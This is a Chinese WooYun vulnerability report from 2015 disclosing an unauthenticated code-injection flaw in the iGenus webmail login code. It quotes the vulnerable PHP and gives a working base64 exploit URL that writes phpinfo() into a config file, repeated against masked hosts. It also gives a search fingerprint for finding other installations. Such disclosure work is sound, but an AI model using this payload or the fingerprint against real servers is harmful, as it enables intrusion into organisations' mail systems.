当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(37) 关注此漏洞

缺陷编号: WooYun-2015-156126

漏洞标题: iGenus邮件系统一处无需登录的任意代码执行

相关厂商: iGenus邮件系统

漏洞作者: 進撃のDanny

提交时间: 2015-11-26 19:34

公开时间: 2015-12-17 14:48

漏洞类型: 文件包含

危害等级: 高

自评Rank: 20

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核 文件包含漏洞 文件包含漏洞利用技巧

10人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-26: 细节已通知厂商并且等待厂商处理中
2015-11-30: 厂商已经确认,细节仅向厂商公开
2015-12-03: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-01-24: 细节向核心白帽子及相关领域专家公开
2016-02-03: 细节向普通白帽子公开
2016-02-13: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

无聊下载了iGENUS5.0看看,发现了该漏洞,无需登录,可直接getshell。用这个系统的企业, 学习,政府机构还挺多的。。

详细说明:

/home/webmail/igenus/include/login_inc.php 第20行

code 区域
$_GET['selTpl'] = base64_decode( $_GET['selTpl'] );
if ( $_GET['selLang'] != "" && is_file( "../language/".$_GET['selLang']."/"."webmail_inc.php" ) )
{
$userInfo2 = array( "id" => $USERINFO['id'], "username" => $USERINFO['username'], "domain" => $USERINFO['domain'], "home" => $USERINFO['home'], "language" => $_GET['selLang'], "quota" => $USERINFO['quota'], "nickname" => $USERINFO['nickname'] );
$session->setuserinfo( $userInfo2 );
$USERINFO = $session->getuserinfo( );
}
$SG_USERNAME = $USERINFO['username'];
$SG_DOMAIN = $USERINFO['domain'];
$SG_HOME = $USERINFO['home'];
$SG_QUOTA = $USERINFO['quota'];
$SG_NICKNAME = $USERINFO['nickname'];
$SG_ID = $USERINFO['id'];
$SG_LANG = $USERINFO['language'];
require_once( "../include/sys_inc.php" );
require_once( "class_config.php" );
$CFG_USERCONFIG = $SG_HOME."/".$CFG_USERCONFIG;
if ( $_GET['selTpl'] != "" )
{
$post_Tpl = explode( "|", $_GET['selTpl'], 2 )[1];
$post_Template = explode( "|", $_GET['selTpl'], 2 )[0];
if ( trim( $post_Tpl ) == "" )
{
$post_Tpl = "webmail";
}
if ( is_file( $CFG_USERCONFIG ) )
{
require_once( $CFG_USERCONFIG );
}
$CFG_TEMPLATE = $post_Template;
$CFG_TPL = $post_Tpl;
$End = "?>";
$Head = "<?php";
$Config_Out = "";
if ( !( $FD_CONFIG = fopen( $CFG_USERCONFIG, "w" ) ) )
{
exit( "Error open user configure file!" );
}
$Config_Out .= "{$Head}\n"."\$CFG_USER_LANGUAGE = '{$CFG_USER_LANGUAGE}';\n"."\$CFG_GMT\t\t= '{$CFG_GMT}';\n"."\$CFG_TEMPLATE\t\t= '{$post_Template}';\n"."\$CFG_TPL\t\t= '{$post_Tpl}';\n"."\n"."\$CFG_List_NumPerPage\t= '{$CFG_List_NumPerPage}';\n"."\$CFG_List_AutoRefresh\t= '{$CFG_List_AutoRefresh}';\n"."\$CFG_List_AutoPOP\t= '{$CFG_List_AutoPOP}';\n"."\$CFG_List_MailTime\t= '{$CFG_List_MailTime}';\n"."\$CFG_List_SortBy\t= '{$CFG_List_SortBy}';\n"."\n"."\$CFG_Prev_Alternative\t= '{$CFG_Prev_Alternative}';\n"."\$CFG_Prev_IsRead\t= '{$CFG_Prev_IsRead}';\n"."\n"."\$CFG_Send_ContentType\t= '{$CFG_Send_ContentType}';\n"."\$CFG_Send_Encoding\t= '{$CFG_Send_Encoding}';\n"."\$CFG_Send_Charset\t= '{$CFG_Send_Charset}';\n"."\$CFG_Domain_Sign\t= '{$CFG_Domain_Sign}';\n"."\$CFG_User_Sign\t= '{$CFG_User_Sign}';\n"."\$CFG_Mailaddr_Fill = '{$CFG_Mailaddr_Fill}';\n"."\$CFG_ADDR_SHOW = '{$CFG_ADDR_SHOW}';\n"."\n"."\$CFG_POP_NumPer\t\t= 'CFG_POP_NumPer';\n"."\$CFG_POP_Timeout\t= '{$CFG_POP_Timeout}';\n"."\$CFG_List_attach = '{$CFG_List_attach}';\n"."\$CFG_Auto_Lang_Trans = '{$CFG_Auto_Lang_Trans}';\n"."\$CFG_Alert_Receipt = '{$CFG_Alert_Receipt}';\n"."\$CFG_Head_off_Openwin = '{$CFG_Head_off_Openwin}';\n"."\$CFG_Reply_to\t= '{$CFG_Reply_to}';\n"."\n"."\$CFG_ADDR_Group\t= '{$CFG_ADDR_Group}';\n"."\$CFG_ADDR_Sortby\t= '{$CFG_ADDR_Sortby}';\n"."{$End}\n";
fputs( $FD_CONFIG, $Config_Out );
fclose( $FD_CONFIG );
chown_chgrp( $CFG_USERCONFIG, "" );
}



这段代码可以看出selTpl从get中接受,经过base64解码和分割之后就直接写入进行了保存操作,是没有做任何过滤限制的,

中间还进行了require_once包含。明显存在漏洞啊

由于这段代码位于登录验证之前,也就是说 这个漏洞不需要任何登录即可利用。。

漏洞测试**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

QQ截图20151126164447.jpg



这个漏洞官网也是存在的,出现Error open user configure file! 是权限问题,文件没有写入成功



漏洞证明:

搜索的指纹:Login to webmail 我就不列太多案例了,大家自己搜索吧。

QQ截图20151126163349.jpg



访问两次

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

http://**.**.**.**/index.php?selTpl=YWF8YWFhJzsKcGhwaW5mbygpOyM=

以上操作会写一个全局的phphinfo页面,每个页面都会出现管理可能会发现

重新访问/index.php?selTpl=YWF8YWFhYQ== 即可重置页面

修复方案:

selTpl进行过滤

版权声明:转载请注明来源 進撃のDanny@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-11-30 16:36

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向软件生产厂商通报。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-11-26 19:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    我勒擦

  2. 2015-11-26 20:03 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    0

    @xsser 这个就是今天的亮点了。。。

  3. 2015-11-26 20:03 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    0

    这个漏洞不错。。。有$$

  4. 2015-11-26 20:05 | Mark0smith ( 普通白帽子 | Rank:139 漏洞数:56 | 我要是再正常一点就好了)
    0

    无聊。。。

  5. 2015-11-26 20:54 | 折子戏 ( 路人 | Rank:2 漏洞数:1 | 一个会写IOS的资深挖掘机司机)
    1

    关注了 公司几个项目就是这系统 看来得研究研究了

  6. 2015-11-26 21:51 | Huc-Unis ( 普通白帽子 | Rank:1228 漏洞数:327 | 专业使用明小子找漏洞)
    0

    @狗狗侠 今天没审几个通用啊

  7. 2015-11-26 22:07 | Map ( 普通白帽子 | Rank:184 漏洞数:11 | 闭关几个星期,学点东西。)
    0

    @xsser 为什么这么惊讶,我都好奇它了。

  8. 2015-11-26 22:42 | 艾薇儿 ( 普通白帽子 | Rank:962 漏洞数:104 )
    0

    mark

登录后才能发表评论,请先 登录